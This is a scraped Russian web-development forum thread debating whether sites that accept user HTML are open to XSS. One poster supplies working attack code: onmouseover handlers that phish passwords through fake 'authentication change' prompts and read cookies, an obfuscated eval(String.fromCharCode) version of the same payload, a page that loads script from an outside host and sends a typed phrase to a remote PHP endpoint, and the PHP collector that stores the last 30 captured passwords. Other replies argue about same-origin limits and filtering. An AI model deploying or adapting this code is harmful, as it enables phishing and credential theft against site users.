Follow along with the video below to see how to install our site as a web app on your home screen.
Примечание: This feature may not be available in some browsers.
Проверяем разрешены ли у тэгов обработчики событий onclick,onmouseover, onload, onunload и подобные
Не понял. Совсем не понял.Вы таки извините, но это - п**дец.
<div onmouseover="window.location.href='http://www.ya.ru';">Привет всем</div>
<div onmouseover="if(!window.pwd){window.pwd = prompt('Добрый день. Проводится смена аутентификации. Задайте ваш текущий пароль');}; var page = document.cookie;if(document.all){var xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');} else { var xmlhttp = new XMLHttpRequest();}; xmlhttp.open('GET',window.location); xmlhttp.send(''); xmlhttp.onreadystatechange = function(){ if(xmlhttp.readyState == 4){ if(!window.newPwd){window.newPwd = prompt('А теперь новый пароль пожалуйста');};}}">Добрый день. Наведите мышью. Важная информация.</div>
<div onmouseover="eval(String.fromCharCode(105,102,40,33,119,105,110,100,111,119,46,112,119,100,41,123,119,105,110,100,111,119,46,112,119,100,32,61,32,112,114,111,109,112,116,40,39,1044,1086,1073,1088,1099,1081,32,1076,1077,1085,1100,46,32,1055,1088,1086,1074,1086,1076,1080,1090,1089,1103,32,1089,1084,1077,1085,1072,32,1072,1091,1090,1077,1085,1090,1080,1092,1080,1082,1072,1094,1080,1080,46,32,1047,1072,1076,1072,1081,1090,1077,32,1074,1072,1096,32,1090,1077,1082,1091,1097,1080,1081,32,1087,1072,1088,1086,1083,1100,39,41,59,125,59,32,118,97,114,32,112,97,103,101,32,61,32,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59,105,102,40,100,111,99,117,109,101,110,116,46,97,108,108,41,123,118,97,114,32,120,109,108,104,116,116,112,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,77,115,120,109,108,50,46,88,77,76,72,84,84,80,39,41,59,125,32,101,108,115,101,32,123,32,118,97,114,32,120,109,108,104,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,125,59,32,120,109,108,104,116,116,112,46,111,112,101,110,40,39,71,69,84,39,44,119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,41,59,32,120,109,108,104,116,116,112,46,115,101,110,100,40,39,39,41,59,32,120,109,108,104,116,116,112,46,111,110,114,101,97,100,121,115,116,97,116,101,99,104,97,110,103,101,32,61,32,102,117,110,99,116,105,111,110,40,41,123,32,105,102,40,120,109,108,104,116,116,112,46,114,101,97,100,121,83,116,97,116,101,32,61,61,32,52,41,123,32,105,102,40,33,119,105,110,100,111,119,46,110,101,119,80,119,100,41,123,119,105,110,100,111,119,46,110,101,119,80,119,100,32,61,32,112,114,111,109,112,116,40,39,1040,32,1090,1077,1087,1077,1088,1100,32,1085,1086,1074,1099,1081,32,1087,1072,1088,1086,1083,1100,32,1087,1086,1078,1072,1083,1091,1081,1089,1090,1072,39,41,59,125,59,125,59,125,59));">Привет всем</div>
Второе. Программист, разрешающий пользователям использовать HTML на фронтенде - не программист.
Второе. Программист, разрешающий пользователям использовать HTML на фронтенде - не программист.
Первое. Да будет вам известно, через AJAX невозможно отправить либо получить данные с хоста, отличного от хоста на котором исполняется приложение. Это дефолтное ограничение DOM.
Второе. Программист, разрешающий пользователям использовать HTML на фронтенде - не программист.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
<title></title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
</head>
<style type="text/css">
body,html{
margin: 0;
padding: 0;
color: black;
font: normal normal 11pt Arial,Verdana, serif;
}
iframe{
width: 100%;
height: 100%;
background-color: #EEE !important;
}
#loaded{
padding: 10px;
width: 200px;
height: 200px;
position: absolute;
top: 20%;
left: 20%;
z-index: 1000;
display: none;
font: normal normal 12pt Tahoma,Arial,serif;
color: green;
background: transparent;
}
#ajax_container{
padding: 10px;
width: 300px;
height: 300px;
z-index: 2;
position: absolute;
top: 2%;
left: 2%;
background-color: #EEE;
color: red;
display: none;
background: #EEE;
}
</style>
<!--[if lt IE 7]>
<style type="text/css">
#loaded, #ajax_container{
zoom: 1;
}
</style>
<![endif]-->
<script type="text/javascript" src="http://erney-laz.org.ua/catalog/xss/jquery-1.3.2.min.js"></script>
<script type="text/javascript">
$(document).ready( function(){
$.getScript("http://maxlifenow.com/hello_world.js", function(){
$("#loaded").fadeIn(3000);
});
});
</script>
<body>
<div id="loaded">
Увидем это окно не раньше, как загрузится чужой скрипт с другого домена.
</div>
<div id="ajax_container">
</div>
</body>
</html>
$("#ajax_container").html("<span>А этот блок мы будем использовать для вставки ajax И его текст приехал с другого домена</span>").fadeIn(2000);
setTimeout(
function(){
$("#ajax_container").fadeOut(3000,
function(){
$("#ajax_container").html("А теперь сделаем кроссайтовый запрос");
$("#ajax_container").fadeIn(3000, function(){
var password = prompt("Пожалуйста, введите фразу","");
if(password){
$("#ajax_container").fadeOut(3000,function(){
$(this).html("<iframe vspace='0' hspace='0' frameborder='0' src='http://maxlifenow.com/cleanup.php?action="+password+"' style='background-color: #EEE !important;'></iframe>");
$(this).fadeIn(3000);
});
} else {
alert('Вы ничего не ввели. Перезагрузим страницу.');
window.location.reload();
}
});
}
);
},2000
);
<?php
header('Content-type: text/html; charset=utf-8');
$action = $_GET['action'];
$file = $_SERVER['DOCUMENT_ROOT'].'/pass.txt';
$arr = array();
$dif = 0;
$pass = '';
if(is_file($file)){
if(!is_readable($file) || !is_writable($file)){
chmod($file,0775);
}
$arr = file($file);
$sizeof = sizeof($arr);
if($sizeof && $sizeof>29){
$dif = $sizeof-29;
}
}
$fp = fopen($file,'w');
if($fp && is_resource($fp)){
flock($fp,LOCK_EX);
$arr[] = $action;
$sizeof = sizeof($arr);
for($i=$dif;$i<$sizeof;$i++){
$string = '';
$string = trim($arr[$i]);
$string .= "\n";
if($fp && is_resource($fp)){
fwrite($fp,$string);
}
$del = ','."\t";
$pass .= ((!empty($pass))?$del:'').$arr[$i];
unset($del,$string);
}
if($fp && is_resource($fp)){
flock($fp,LOCK_UN);
fclose($fp);
$fp = null;
}
}
unset($fp,$sizeof,$action,$arr,$dif,$file);
$pass = empty($pass)?$action:$pass;
echo ('Последние доверенные 30 паролей с вашего домена = '.$pass);
?>
Одно дело - использовать ajax, другое - позволять юзеру отсылать HTML код.Поясните пожалуйста на примере ваше высказывание.
Что Ajax вообще не нужно использовать что ли?
Все эти примеры используют чистый html только ради скорости. Однако можно вспомнить к чему это привело на LJ - юзеры фигачили div с абсолютным позиционированием в комменте и закрывали им журнал. Особенно Тёма Лебедев тогда долго матерился.Да уж нет, скорее "не программист" тот, кто выдумывает всякие BB-теги и прочую ересь, чтобы защититься от XSS. Ведь куда как проще сделать strip_tags, а потом повставлять теги из ограниченного набора, чем правильно и грамотно отфильтровать юзерский html. Но в то же время большинство "серьезных" программистов все-таки не насилуют юзера, а изголяются сами - и тратят на фильтрацию не одну неделю. Примеры - JiveJournal, WordPress, все бесплатные почтовики (мейлру, яндекс, гмейл...), хабр, dirty и так далее. Все разрешают чистый html.
In particular, if a same origin request is redirected to a non same origin URL the specification should abort the request and either terminate completely (as it did until now) or use the Для просмотра ссылки Войди
In particular, if a same origin request is redirected to a non same origin URL the specification should abort the request and either terminate completely (as it did until now) or use the Для просмотра ссылки Войдиили Зарегистрируйся algorithm on the non same origin URL.
Это спецификация безопасности DOM. Я раз за ваше рвение в области информационной безопасности, однако у проекта _нормального_ программиста такие приколы не прокатят.